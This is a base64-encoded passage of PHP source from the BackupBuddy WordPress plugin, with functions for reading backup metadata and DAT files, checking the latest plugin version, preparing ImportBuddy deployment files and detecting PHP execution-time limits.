ByZXN1bHQgaW4gYW4gaW5jb21wbGV0ZSBvciBtYWxmdW5jdGlvbmluZyBiYWNrdXAuIFJlbW92ZSBleGNsdXNpb25zIG9yIGJhY2t1cCB3aXRoIGFub3RoZXIgcHJvZmlsZSBvciBtZXRob2QgdG8gYXZvaWQgcHJvYmxlbXMuJzsKCQkJfQoJCX0KCgkJcmV0dXJuICRyZXR1cm5fYXJyYXk7Cgl9IC8vIEVuZCBhbGVydF9jb3JlX2ZpbGVfZXhjbHVkZXMoKS4KCgoJLyoqCgkgKiBPdXRwdXQgbWV0YSBpbmZvIGluIGEgdGFibGUuCgkgKgoJICogQHBhcmFtIHN0cmluZyAkZmlsZSAgQmFja3VwIGZpbGUgdG8gZ2V0IGNvbW1lbnQgbWV0YSBkYXRhIGZyb20uCgkgKgoJICogQHJldHVybiBhcnJheXxmYWxzZSAgQXJyYXkgb2YgbWV0YSBkYXRhIG9yIGZhbHNlIG9uIGZhaWx1cmUgdG8gcmV0cmlldmUuCgkgKi8KCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZ2V0WmlwTWV0YSggJGZpbGUgKSB7CgkJaWYgKCAhIGlzc2V0KCBwYl9iYWNrdXBidWRkeTo6JGNsYXNzZXNbJ3ppcGJ1ZGR5J10gKSApIHsKCQkJcmVxdWlyZV9vbmNlIHBiX2JhY2t1cGJ1ZGR5OjpwbHVnaW5fcGF0aCgpIC4gJy9saWIvemlwYnVkZHkvemlwYnVkZHkucGhwJzsKCQkJcGJfYmFja3VwYnVkZHk6OiRjbGFzc2VzWyd6aXBidWRkeSddID0gbmV3IHBsdWdpbmJ1ZGR5X3ppcGJ1ZGR5KCBiYWNrdXBidWRkeV9jb3JlOjpnZXRCYWNrdXBEaXJlY3RvcnkoKSApOwoJCX0KCQkkY29tbWVudF9tZXRhID0gYXJyYXkoKTsKCQlpZiAoIGlzc2V0KCAkZmlsZSApICkgewoJCQkkY29tbWVudCA9IHBiX2JhY2t1cGJ1ZGR5OjokY2xhc3Nlc1snemlwYnVkZHknXS0+Z2V0X2NvbW1lbnQoICRmaWxlICk7CgkJCSRjb21tZW50ID0gYmFja3VwYnVkZHlfY29yZTo6bm9ybWFsaXplX2NvbW1lbnRfZGF0YSggJGNvbW1lbnQgKTsKCgkJCSRjb21tZW50X21ldGEgPSBhcnJheSgpOwoJCQlmb3JlYWNoICggJGNvbW1lbnQgYXMgJGNvbW1lbnRfbGluZV9uYW1lID0+ICRjb21tZW50X2xpbmVfdmFsdWUgKSB7IC8vIExvb3AgdGhyb3VnaCBhbGwgbWV0YSBmaWVsZHMgaW4gdGhlIGNvbW1lbnQgYXJyYXkgdG8gZGlzcGxheS4KCQkJCSRyZXNwb25zZSA9IGJhY2t1cGJ1ZGR5X2NvcmU6OnByZXR0eV9tZXRhX2luZm8oICRjb21tZW50X2xpbmVfbmFtZSwgJGNvbW1lbnRfbGluZV92YWx1ZSApOwoJCQkJaWYgKCBmYWxzZSAhPT0gJHJlc3BvbnNlICkgewoJCQkJCSRyZXNwb25zZVswXSAgICAgICAgICAgICAgICAgICAgICAgID0gJzxzcGFuIHRpdGxlPSInIC4gJGNvbW1lbnRfbGluZV9uYW1lIC4gJyI+JyAuICRyZXNwb25zZVswXSAuICc8L3NwYW4+JzsKCQkJCQkkY29tbWVudF9tZXRhWyAkY29tbWVudF9saW5lX25hbWUgXSA9ICRyZXNwb25zZTsKCQkJCX0KCQkJfQoJCX0KCgkJaWYgKCBjb3VudCggJGNvbW1lbnRfbWV0YSApID4gMCApIHsKCQkJcmV0dXJuICRjb21tZW50X21ldGE7CgkJfSBlbHNlIHsKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCX0gLy8gRW5kIGdldFppcE1ldGEoKS4KCgoJLyoqCgkgKiBHZXQgdGhlIERBVCBmaWxlIGNvbnRlbnRzIGFzIGFuIGFycmF5LgoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJGRhdF9maWxlICBGdWxsIHBhdGggdG8gREFUIGZpbGUgdG8gZGVjb2RlIGFuZCBwYXJzZS4KCSAqCgkgKiBAcmV0dXJuIGFycmF5fGZhbHNlICBBcnJheSBvZiBEQVQgY29udGVudC4gQm9vbCBmYWxzZSB3aGVuIHVuYWJsZSB0byByZWFkLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGdldF9kYXRfZmlsZV9hcnJheSggJGRhdF9maWxlICkgewoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0xvYWRpbmcgYmFja3VwIGRhdCBmaWxlLicgKTsKCgkJaWYgKCBmaWxlX2V4aXN0cyggJGRhdF9maWxlICkgKSB7CgkJCSRiYWNrdXBkYXRhID0gZmlsZV9nZXRfY29udGVudHMoICRkYXRfZmlsZSApOwoJCX0gZWxzZSB7IC8vIE1pc3NpbmcuCgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICdFcnJvciAjOTAwMzogQmFja3VwQnVkZHkgZGF0YSBmaWxlIChiYWNrdXBidWRkeV9kYXQucGhwKSBtaXNzaW5nIG9yIHVucmVhZGFibGUuIFRoZXJlIG1heSBiZSBhIHByb2JsZW0gd2l0aCB0aGUgYmFja3VwIGZpbGUsIHRoZSBmaWxlcyBjb3VsZCBub3QgYmUgZXh0cmFjdGVkICh5b3UgbWF5IG1hbnVhbGx5IGV4dHJhY3QgdGhlIHppcCBmaWxlIGluIHRoaXMgZGlyZWN0b3J5IHRvIG1hbnVhbGx5IGRvIHRoaXMgcG9ydGlvbiBvZiByZXN0b3JlKSwgb3IgdGhlIGZpbGVzIHdlcmUgZGVsZXRlZCBiZWZvcmUgdGhpcyBwb3J0aW9uIG9mIHRoZSByZXN0b3JlIHdhcyByZWFjaGVkLiAgU3RhcnQgdGhlIGltcG9ydCBwcm9jZXNzIG92ZXIgb3IgdHJ5IG1hbnVhbGx5IGV4dHJhY3RpbmcgKHVuemlwcGluZykgdGhlIGZpbGVzIHRoZW4gc3RhcnRpbmcgb3Zlci4gUmVzdG9yZSB3aWxsIG5vdCBjb250aW51ZSB0byBwcm90ZWN0IGludGVncml0eSBvZiBhbnkgZXhpc3RpbmcgZGF0YS4nICk7CgkJCXJldHVybiBmYWxzZTsKCQl9CgoJCS8vIFVuc2VyaWFsaXplIGRhdGE7IElmIGl0IGZhaWxzIGl0IHRoZW4gZGVjb2RlcyB0aGUgb2JzY3VmYXRlZCBkYXRhIHRoZW4gdW5zZXJpYWxpemVzIGl0LiAobmV3IGRhdCBmaWxlIG1ldGhvZCBzdGFydGluZyBhdCAyLjApLgoJCSRyZXR1cm4gPSAhIGlzX3NlcmlhbGl6ZWQoICRiYWNrdXBkYXRhICkgPyBmYWxzZSA6IHVuc2VyaWFsaXplKCAkYmFja3VwZGF0YSApOwoJCWlmICggZmFsc2UgPT09ICRyZXR1cm4gKSB7CgkJCS8vIFNraXAgZmlyc3QgbGluZS4KCQkJJHNlY29uZF9saW5lX3BvcyA9IHN0cnBvcyggJGJhY2t1cGRhdGEsICJcbiIgKSArIDE7CgkJCSRiYWNrdXBkYXRhICAgICAgPSBzdWJzdHIoICRiYWNrdXBkYXRhLCAkc2Vjb25kX2xpbmVfcG9zICk7CgoJCQkvLyBEZWNvZGUgYmFjayBpbnRvIGFuIGFycmF5LgoJCQkkcmV0dXJuID0gdW5zZXJpYWxpemUoIGJhc2U2NF9kZWNvZGUoICRiYWNrdXBkYXRhICkgKTsKCQl9CgoJCWlmICggISBpc19hcnJheSggJHJldHVybiApICkgeyAvLyBJbnZhbGlkIERBVCBjb250ZW50LgoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAnRXJyb3IgIzU0NTU0NS4gVW5hYmxlIHRvIHJlYWQvZGVjb2RlIERBVCBmaWxlLicgKTsKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnU3VjY2Vzc2Z1bGx5IGxvYWRlZCBiYWNrdXAgZGF0IGZpbGUgYCcgLiAkZGF0X2ZpbGUgLiAnYC4nICk7CgkJJHJldHVybl9jZW5zb3JlZCAgICAgICAgICAgICAgICA9ICRyZXR1cm47CgkJJHJldHVybl9jZW5zb3JlZFsnZGJfcGFzc3dvcmQnXSA9ICcqSElEREVOKic7CgkJJHJldHVybl9jZW5zb3JlZCAgICAgICAgICAgICAgICA9IHByaW50X3IoICRyZXR1cm5fY2Vuc29yZWQsIHRydWUgKTsKCQkkcmV0dXJuX2NlbnNvcmVkICAgICAgICAgICAgICAgID0gc3RyX3JlcGxhY2UoIGFycmF5KCAiXG4iLCAiXHIiICksICc7ICcsICRyZXR1cm5fY2Vuc29yZWQgKTsKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdEQVQgY29udGVudHM6ICcgLiAkcmV0dXJuX2NlbnNvcmVkICk7CgkJcmV0dXJuICRyZXR1cm47Cgl9IC8vIEVuZCBnZXRfZGF0X2ZpbGVfYXJyYXkoKS4KCgoJLyoqCgkgKiBMYXRlc3QgdmVyc2lvbiBpbmZvLiBBcnJheSBvZiBsYXRlc3QgbWFqb3IsbWlub3IuIEZhbHNlIG9uIGZhaWwgdG8gZ2V0LgoJICoKCSAqIEBwYXJhbSBib29sICRieXBhc3NfY2FjaGUgIEJ5cGFzcyBjYWNoZS4KCSAqCgkgKiBAcmV0dXJuIHN0cmluZ3xmYWxzZSAgQmFja3VwQnVkZHkgVmVyc2lvbiBvciBmYWxzZS4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBkZXRlcm1pbmVMYXRlc3RWZXJzaW9uKCAkYnlwYXNzX2NhY2hlID0gZmFsc2UgKSB7CgkJJGxhdGVzdF9iYWNrdXBidWRkeV92ZXJzaW9uX2NhY2hlX21pbnV0ZXMgPSA2MCAqIDEyOyAvLyBEZWZpbmUgaG93IG1hbnkgbWludXRlcyB0byBjYWNoZSB0aGUgbGF0ZXN0IGJhY2t1cGJ1ZGR5IHZlcnNpb24gbnVtYmVyLgoKCQlmdW5jdGlvbiBwYl9iYWNrdXBidWRkeV9zcGxpdDIoICRzdHJpbmcsICRuZWVkbGUsICRudGggKSB7CgkJCSRtYXggPSBzdHJsZW4oICRzdHJpbmcgKTsKCQkJJG4gICA9IDA7CgkJCWZvciAoICRpID0gMDskaSA8ICRtYXg7JGkrKyApIHsKCQkJCWlmICggJHN0cmluZ1sgJGkgXSA9PSAkbmVlZGxlICkgewoJCQkJCSRuKys7CgkJCQkJaWYgKCAkbiA+PSAkbnRoICkgewoJCQkJCQlicmVhazsKCQkJCQl9CgkJCQl9CgkJCX0KCQkJJGFycltdID0gc3Vic3RyKCAkc3RyaW5nLCAwLCAkaSApOwoJCQkkYXJyW10gPSBzdWJzdHIoICRzdHJpbmcsICRpICsgMSwgJG1heCApOwoJCQlyZXR1cm4gJGFycjsKCQl9CgoJCWlmICggdHJ1ZSA9PT0gJGJ5cGFzc19jYWNoZSApIHsKCQkJJGxhdGVzdF9iYWNrdXBidWRkeV92ZXJzaW9uID0gZmFsc2U7CgkJfSBlbHNlIHsKCQkJJGxhdGVzdF9iYWNrdXBidWRkeV92ZXJzaW9uID0gZ2V0X3RyYW5zaWVudCggJ3BiX2JhY2t1cGJ1ZGR5X2xhdGVzdF92ZXJzaW9uJyApOwoJCX0KCgkJaWYgKCBmYWxzZSA9PT0gJGxhdGVzdF9iYWNrdXBidWRkeV92ZXJzaW9uIHx8ICEgaXNfYXJyYXkoICRsYXRlc3RfYmFja3VwYnVkZHlfdmVyc2lvbiApICkgewoJCQkkcmVzcG9uc2UgPSB3cF9yZW1vdGVfZ2V0KAoJCQkJJ2h0dHA6Ly9hcGkuaXRoZW1lcy5jb20vcHJvZHVjdC92ZXJzaW9uP2FwaWtleT1peGhvN2RrMHAyNDRuMG9iJnBhY2thZ2U9YmFja3VwYnVkZHkmY2hhbm5lbD1zdGFibGUnLCBhcnJheSgKCQkJCQknbWV0aG9kJyAgICAgID0+ICdHRVQnLAoJCQkJCSd0aW1lb3V0JyAgICAgPT4gNywKCQkJCQkncmVkaXJlY3Rpb24nID0+IDMsCgkJCQkJJ2h0dHB2ZXJzaW9uJyA9PiAnMS4wJywKCQkJCQkvLyAnYmxvY2tpbmcnID0+IHRydWUsCgkJCQkJJ2hlYWRlcnMnICAgICA9PiBhcnJheSgpLAoJCQkJCSdib2R5JyAgICAgICAgPT4gbnVsbCwKCQkJCQknY29va2llcycgICAgID0+IGFycmF5KCksCgkJCQkpCgkJCSk7CgkJCWlmICggaXNfd3BfZXJyb3IoICRyZXNwb25zZSApICkgewoJCQkJJGxhdGVzdF9iYWNrdXBidWRkeV92ZXJzaW9uID0gYXJyYXkoIDAsIDAgKTsgLy8gU2V0IHRvIDAgZm9yIHRyYW5zaWVudCB0byBwcmV2ZW50IGhpdHRpbmcgc2VydmVyIGFnYWluIGZvciBhIGJpdCBzaW5jZSBzb21ldGhpbmcgd2VudCB3cm9uZy4KCQkJfSBlbHNlIHsKCQkJCSRtaW5vcl92ZXJzaW9uICAgICAgICAgICAgICA9ICRyZXNwb25zZVsnYm9keSddOwoJCQkJJG1ham9yX3ZlcnNpb24gICAgICAgICAgICAgID0gcGJfYmFja3VwYnVkZHlfc3BsaXQyKCAkbWlub3JfdmVyc2lvbiwgJy4nLCAzICk7CgkJCQkkbWFqb3JfdmVyc2lvbiAgICAgICAgICAgICAgPSAkbWFqb3JfdmVyc2lvblswXTsKCQkJCSRsYXRlc3RfYmFja3VwYnVkZHlfdmVyc2lvbiA9IGFycmF5KCAkbWlub3JfdmVyc2lvbiwgJG1ham9yX3ZlcnNpb24gKTsKCQkJfQoJCQlzZXRfdHJhbnNpZW50KCAncGJfYmFja3VwYnVkZHlfbGF0ZXN0X3ZlcnNpb24nLCAkbGF0ZXN0X2JhY2t1cGJ1ZGR5X3ZlcnNpb24sIDYwICogJGxhdGVzdF9iYWNrdXBidWRkeV92ZXJzaW9uX2NhY2hlX21pbnV0ZXMgKTsKCQl9IC8vIGVuZCBub3QgY2FjaGVkLgoKCQlpZiAoIDAgPT0gJGxhdGVzdF9iYWNrdXBidWRkeV92ZXJzaW9uWzBdICYmIDAgPT0gJGxhdGVzdF9iYWNrdXBidWRkeV92ZXJzaW9uWzFdICkgeyAvLyBTZXJ2ZXIgbm90IHJlc3BvbmRpbmcuCgkJCXJldHVybiBmYWxzZTsKCQl9CgoJCXJldHVybiAkbGF0ZXN0X2JhY2t1cGJ1ZGR5X3ZlcnNpb247CgoJfSAvLyBFbmQgZGV0ZXJtaW5lTGF0ZXN0VmVyc2lvbigpLgoKCgkvKioKCSAqIFJlbmRlcnMgaW1wb3J0YnVkZHkgb24gdGhpcyBzZXJ2ZXIuCgkgKgoJICogQHBhcmFtIHN0cmluZyAkcGFzc3dvcmQgICAgICAgICAgICAgICBJbXBvcnRCdWRkeSBQYXNzd29yZC4KCSAqIEBwYXJhbSBzdHJpbmcgJGJhY2t1cF9maWxlICAgICAgICAgICAgRnVsbCBmaWxlbmFtZSB3aXRoIHBhdGggdG8gYmFja3VwIGZpbGUgdG8gaW1wb3J0LgoJICogQHBhcmFtIHN0cmluZyAkYWRkaXRpb25hbF9zdGF0ZV9pbmZvICBBcnJheSBvZiBhZGRpdGlvbmFsIHN0YXRlIGluZm9ybWF0aW9uIHRvIG1lcmdlIGludG8gc3RhdGUgYXJyYXksIHN1Y2ggYXMgc2Vzc2lvbiB0b2tlbnMuCgkgKiBAcGFyYW0gYm9vbCAgICRkb19jbGVhbnVwICAgICAgICAgICAgIERlcHJlY2F0ZWQuCgkgKgoJICogQHJldHVybiBzdHJpbmd8YXJyYXkgIElmIHN0cmluZyB0aGVuIGltcG9ydGJ1ZGR5IHNlcmlhbC4gSWYgYXJyYXkgdGhlbiBhbiBlcnJvciBoYXMgYmVlbiBlbmNvdW50ZXJlZC4gQXJyYXkgZm9ybWF0OiBhcnJheSggZmFsc2UsICdFcnJvciBtZXNzYWdlLicgKS4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBkZXBsb3ltZW50SW1wb3J0QnVkZHkoICRwYXNzd29yZCwgJGJhY2t1cF9maWxlLCAkYWRkaXRpb25hbF9zdGF0ZV9pbmZvID0gJycsICRkb19jbGVhbnVwID0gdHJ1ZSApIHsKCQlpZiAoICEgZmlsZV9leGlzdHMoICRiYWNrdXBfZmlsZSApICkgewoJCQkkZXJyb3IgPSAnRXJyb3IgIzQzODQ4Mzc4OiBCYWNrdXAgZmlsZSBgJyAuICRiYWNrdXBfZmlsZSAuICdgIG5vdCBmb3VuZCB1cGxvYWRlZC4nOwoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAkZXJyb3IgKTsKCQkJcmV0dXJuIGFycmF5KCBmYWxzZSwgJGVycm9yICk7CgkJfQoKCQkkYmFja3VwX3NlcmlhbCA9IGJhY2t1cGJ1ZGR5X2NvcmU6OmdldF9zZXJpYWxfZnJvbV9maWxlKCAkYmFja3VwX2ZpbGUgKTsKCgkJJGltcG9ydF9maWxlX3NlcmlhbCA9IHBiX2JhY2t1cGJ1ZGR5OjpyYW5kb21fc3RyaW5nKCAxNSApOwoJCSRpbXBvcnRfZmlsZW5hbWUgICAgPSAnaW1wb3J0YnVkZHktJyAuICRpbXBvcnRfZmlsZV9zZXJpYWwgLiAnLnBocCc7CgkJYmFja3VwYnVkZHlfY29yZTo6aW1wb3J0YnVkZHkoIEFCU1BBVEggLiAkaW1wb3J0X2ZpbGVuYW1lLCAkcGFzc3dvcmQgKTsKCgkJLy8gUmVuZGVyIGRlZmF1bHQgY29uZmlnIGZpbGUgb3ZlcnJpZGVzLiBPdmVycnJpZGVzIGRlZmF1bHQgcmVzdG9yZS5waHAgc3RhdGUgZGF0YS4KCQkkc3RhdGUgPSBhcnJheSgpOwoJCWdsb2JhbCAkd3BkYjsKCQkkc3RhdGVbJ3R5cGUnXSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAnZGVwbG95JzsKCQkkc3RhdGVbJ2FyY2hpdmUnXSAgICAgICAgICAgICAgICAgICAgICAgICAgPSAkYmFja3VwX2ZpbGU7CgkJJHN0YXRlWydzaXRldXJsJ10gICAgICAgICAgICAgICAgICAgICAgICAgID0gcHJlZ19yZXBsYWNlKCAnfC8qJHwnLCAnJywgc2l0ZV91cmwoKSApOyAvLyBTdHJpcCB0cmFpbGluZyBzbGFzaGVzLgoJCSRzdGF0ZVsnaG9tZXVybCddICAgICAgICAgICAgICAgICAgICAgICAgICA9IHByZWdfcmVwbGFjZSggJ3wvKiR8JywgJycsIGhvbWVfdXJsKCkgKTsgLy8gU3RyaXAgdHJhaWxpbmcgc2xhc2hlcy4KCQkkc3RhdGVbJ3Jlc3RvcmVGaWxlcyddICAgICAgICAgICAgICAgICAgICAgPSBmYWxzZTsKCQkkc3RhdGVbJ21pZ3JhdGVIdGFjY2VzcyddICAgICAgICAgICAgICAgICAgPSBmYWxzZTsKCQkkc3RhdGVbJ3JlbW90ZV9hcGknXSAgICAgICAgICAgICAgICAgICAgICAgPSBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ3JlbW90ZV9hcGknXTsgLy8gRm9yIHVzZSBieSBpbXBvcnRidWRkeSBhcGkgYXV0aC4gRW5hYmxlcyByZW1vdGUgYXBpIGluIHRoaXMgaW1wb3J0YnVkZHkuCgkJJHN0YXRlWydkYXRhYmFzZVNldHRpbmdzJ11bJ3NlcnZlciddICAgICAgID0gREJfSE9TVDsKCQkkc3RhdGVbJ2RhdGFiYXNlU2V0dGluZ3MnXVsnZGF0YWJhc2UnXSAgICAgPSBEQl9OQU1FOwoJCSRzdGF0ZVsnZGF0YWJhc2VTZXR0aW5ncyddWyd1c2VybmFtZSddICAgICA9IERCX1VTRVI7CgkJJHN0YXRlWydkYXRhYmFzZVNldHRpbmdzJ11bJ3Bhc3N3b3JkJ10gICAgID0gREJfUEFTU1dPUkQ7CgkJJHN0YXRlWydkYXRhYmFzZVNldHRpbmdzJ11bJ3ByZWZpeCddICAgICAgID0gJHdwZGItPnByZWZpeDsKCQkkc3RhdGVbJ2RhdGFiYXNlU2V0dGluZ3MnXVsncmVuYW1lUHJlZml4J10gPSB0cnVlOwoKCQlpZiAoIGlzX2FycmF5KCAkYWRkaXRpb25hbF9zdGF0ZV9pbmZvICkgKSB7CgkJCSRzdGF0ZSA9IGFycmF5X21lcmdlX3JlY3Vyc2l2ZSggJHN0YXRlLCAkYWRkaXRpb25hbF9zdGF0ZV9pbmZvICk7CgkJfQoKCQkvLyBXcml0ZSBkZWZhdWx0IHN0YXRlIG92ZXJyaWRlcy4KCQkkc3RhdGVfZmlsZSAgPSBBQlNQQVRIIC4gJ2ltcG9ydGJ1ZGR5LScgLiAkaW1wb3J0X2ZpbGVfc2VyaWFsIC4gJy1zdGF0ZS5waHAnOwoJCSRmaWxlX2hhbmRsZSA9IEBmb3BlbiggJHN0YXRlX2ZpbGUsICd3JyApOwoJCWlmICggZmFsc2UgPT09ICRmaWxlX2hhbmRsZSApIHsKCQkJJGVycm9yID0gJ0Vycm9yICM4Mzg0Nzg0OiBUZW1wIHN0YXRlIGZpbGUgaXMgbm90IGNyZWF0YWJsZS93cml0YWJsZS4gQ2hlY2sgeW91ciBwZXJtaXNzaW9ucy4gKCcgLiAkc3RhdGVfZmlsZSAuICcpJzsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJGVycm9yICk7CgkJCXJldHVybiBhcnJheSggZmFsc2UsICRlcnJvciApOwoJCX0KCQlmd3JpdGUoICRmaWxlX2hhbmRsZSwgIjw/cGhwIGRpZSgnQWNjZXNzIERlbmllZC4nKTsgLy8gPCEtLSA/PlxuIiAuIGJhc2U2NF9lbmNvZGUoIGpzb25fZW5jb2RlKCAkc3RhdGUgKSApICk7CgkJZmNsb3NlKCAkZmlsZV9oYW5kbGUgKTsKCgkJJHVuZG9fZmlsZSA9ICdiYWNrdXBidWRkeV9kZXBsb3lfdW5kby0nIC4gJGJhY2t1cF9zZXJpYWwgLiAnLnBocCc7CgkJaWYgKCBmYWxzZSA9PT0gY29weSggcGJfYmFja3VwYnVkZHk6OnBsdWdpbl9wYXRoKCkgLiAnL2NsYXNzZXMvX3JvbGxiYWNrX3VuZG8ucGhwJywgQUJTUEFUSCAuICR1bmRvX2ZpbGUgKSApIHsKCQkJJGVycm9yID0gJ0Vycm9yICMzMjg5NDQ3OiBVbmFibGUgdG8gd3JpdGUgdW5kbyBmaWxlIGAnIC4gQUJTUEFUSCAuICR1bmRvX2ZpbGUgLiAnYC4gQ2hlY2sgcGVybWlzc2lvbnMgb24gZGlyZWN0b3J5Lic7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICRlcnJvciApOwoJCQlyZXR1cm4gYXJyYXkoIGZhbHNlLCAkZXJyb3IgKTsKCQl9CgoJCXJldHVybiAkaW1wb3J0X2ZpbGVfc2VyaWFsOwoKCX0gLy8gRW5kIGRlcGxveW1lbnRJbXBvcnRCdWRkeSgpLgoKCgkvKioKCSAqIERldGVjdCBMaWtlbHkgSGlnaGVzdCBFeGVjdXRpb24gVGltZQoJICoKCSAqIEByZXR1cm4gaW50ICBIaWdoZXN0IGV4ZWN1dGlvbiB0aW1lLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGRldGVjdExpa2VseUhpZ2hlc3RFeGVjdXRpb25UaW1lKCkgewoJCSRkZXRlY3RlZF9leGVjdXRpb24gPSBiYWNrdXBidWRkeV9jb3JlOjpkZXRlY3RNYXhFeGVjdXRpb25UaW1lKCk7CgkJaWYgKCBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ3Rlc3RlZF9waHBfcnVudGltZSddID4gJGRldGVjdGVkX2V4ZWN1dGlvbiApIHsKCQkJJGRldGVjdGVkX2V4ZWN1dGlvbiA9IHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1sndGVzdGVkX3BocF9ydW50aW1lJ107CgkJfQoJCXJldHVybiAkZGV0ZWN0ZWRfZXhlY3V0aW9uOwoJfSAvLyBFbmQgZGV0ZWN0TGlrZWx5SGlnaGVzdEV4ZWN1dGlvblRpbWUoKS4KCgoKCS8qKgoJICogQXR0ZW1wdCB0byBkZXRlY3QgdGhlIG1heCBleGVjdXRpb24gdGltZSBhbGxvd2VkIGJ5IFBIUC4gRGVmYXVsdHMgdG8gMzAgaWYgdW5hYmxlIHRvIGRldGVjdCBvciBhIHN1c3BpY2lvdXMgdmFsdWUgaXMgZGV0ZWN0ZWQuCgkgKiBOT1RFOiBUaGlzIERPRVMgdGFrZSBpbnRvIGFjY291bnQgdGhlIFRFU1RFRCBQSFAgcnVudGltZSBJRiBpdHMgdmFsdWUgaXMgYXZhaWxhYmxlLiBMZXNzZXIgb2YgdHdvIHZhbHVlcyBvZiB1c2VkLgoJICogSU1QT1JUQU5UOiBUaGlzIGRvZXMgTk9UIHRha2UgaW50byBhY2NvdW50IHVzZXItc3BlY2lmaWVkIG92ZXJyaWRlIHZpYSBzZXR0aW5ncyBwYWdlLiBGb3IgdGhhdCwgdXNlIGFkanVzdGVkTWF4RXhlY3V0aW9uVGltZSgpLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGRldGVjdE1heEV4ZWN1dGlvblRpbWUoKSB7CgkJJGRldGVjdGVkX21heF9leGVjdXRpb25fdGltZSA9IHN0cl9pcmVwbGFjZSggJ3MnLCAnJywgaW5pX2dldCggJ21heF9leGVjdXRpb25fdGltZScgKSApOwoJCWlmICggaXNfbnVtZXJpYyggJGRldGVjdGVkX21heF9leGVjdXRpb25fdGltZSApICkgewoJCQkkZGV0ZWN0ZWRfbWF4X2V4ZWN1dGlvbl90aW1lID0gJGRldGVjdGVkX21heF9leGVjdXRpb25fdGltZTsKCQl9IGVsc2UgewoJCQkkZGV0ZWN0ZWRfbWF4X2V4ZWN1dGlvbl90aW1lID0gMzA7CgkJfQoJCWlmICggJGRldGVjdGVkX21heF9leGVjdXRpb25fdGltZSA8PSAwICkgewoJCQkkZGV0ZWN0ZWRfbWF4X2V4ZWN1dGlvbl90aW1lID0gMzA7CgkJfQoKCQlpZiAoIGlzc2V0KCBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ3Rlc3RlZF9waHBfcnVudGltZSddICkgJiYgKCBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ3Rlc3RlZF9waHBfcnVudGltZSddID4gMCApICkgeyAvLyBDaGVjayBpc3NldCBmb3IgaW1wb3J0YnVkZHkuCgkJCWlmICggcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWyd0ZXN0ZWRfcGhwX3J1bnRpbWUnXSA8ICRkZXRlY3RlZF9tYXhfZXhlY3V0aW9uX3RpbWUgKSB7CgkJCQkkZGV0ZWN0ZWRfbWF4X2V4ZWN1dGlvbl90aW1lID0gcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWyd0ZXN0ZWRfcGhwX3J1bnRpbWUnXTsKCQkJfQoJCX0KCgkJcmV0dXJuICRkZXRlY3RlZF9tYXhfZXhlY3V0aW9uX3RpbWU7Cgl9IC8vIEVuZCBkZXRlY3RNYXhFeGVjdXRpb25UaW1lKCkuCgoKCgkvKioKCSAqIFNhbWUgYXMgZGV0ZWN0ZWRNYXhFeGVjdXRpb25UaW1lIEVYQ0VQVCB0YWtlcyBpbnRvIGFjY291bnQgdXNlciBvdmVycmlkZWQgdmFsdWUgaW4gc2V0dGluZ3MgKGlmIGFueSkuLgoJICoKCSAqIEBwYXJhbSBpbnQgJG1heCAgTWF4IEV4ZWN1dGlvbiB0aW1lIChpbiBzZWNvbmRzKS4KCSAqCgkgKiBAcmV0dXJuIGludCAgQWRqdXN0ZWQgbWF4IGV4ZWN1dGlvbiB0aW1lLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGFkanVzdGVkTWF4RXhlY3V0aW9uVGltZSggJG1heCA9ICcnICkgewoJCWlmICggJycgPT0gJG1heCApIHsKCQkJaWYgKCAhIGlzc2V0KCBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ21heF9leGVjdXRpb25fdGltZSddICkgKSB7CgkJCQkkbWF4ID0gJzMwJzsKCQkJfSBlbHNlIHsKCQkJCSRtYXggPSBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ21heF9leGVjdXRpb25fdGltZSddOwoJCQl9CgkJfQoKCQkkZGV0ZWN0ZWQgPSBzZWxmOjpkZXRlY3RNYXhFeGVjdXRpb25UaW1lKCk7CgkJaWYgKCAnJyAhPSAkbWF4ICYmIGlzX251bWVyaWMoICRtYXggKSAmJiAkbWF4ID4gMCApIHsgLy8gSWYgc2V0IGFuZCBhIG51bWJlciwgdXNlIHVzZXItc3BlY2lmaWVkIHJ1bnRpbWUuCgkJCXJldHVybiAkbWF4OwoJCX0gZWxzZSB7IC8vIE5vdGhpbmcgdXNlci1zcGVjaWZpZWQgc28gdXNlciBkZXRlY3RlZCB2YWx1ZS4KCQkJcmV0dXJuICRkZXRlY3RlZDsKCQl9Cgl9IC8vIEVuZCBhZGp1c3RlZE1heEV4ZWN1dGlvblRpbWUoKS4KCgoJLyoqCgkgKiBFc2NhcGUgU1FMIHVzaW5nIGVpdGhlciBteXNxbCBvciBteXNxbGkgYmFzZWQgb24gd2hpY2hldmVyIFdvcmRQcmVzcyBpcyB1c2luZy4KCSAqIFdQIDMuOSBpbnRyb2R1Y2luZyBteXNxbGkgc3VwcG9ydC4KCSAqCgkgKiBA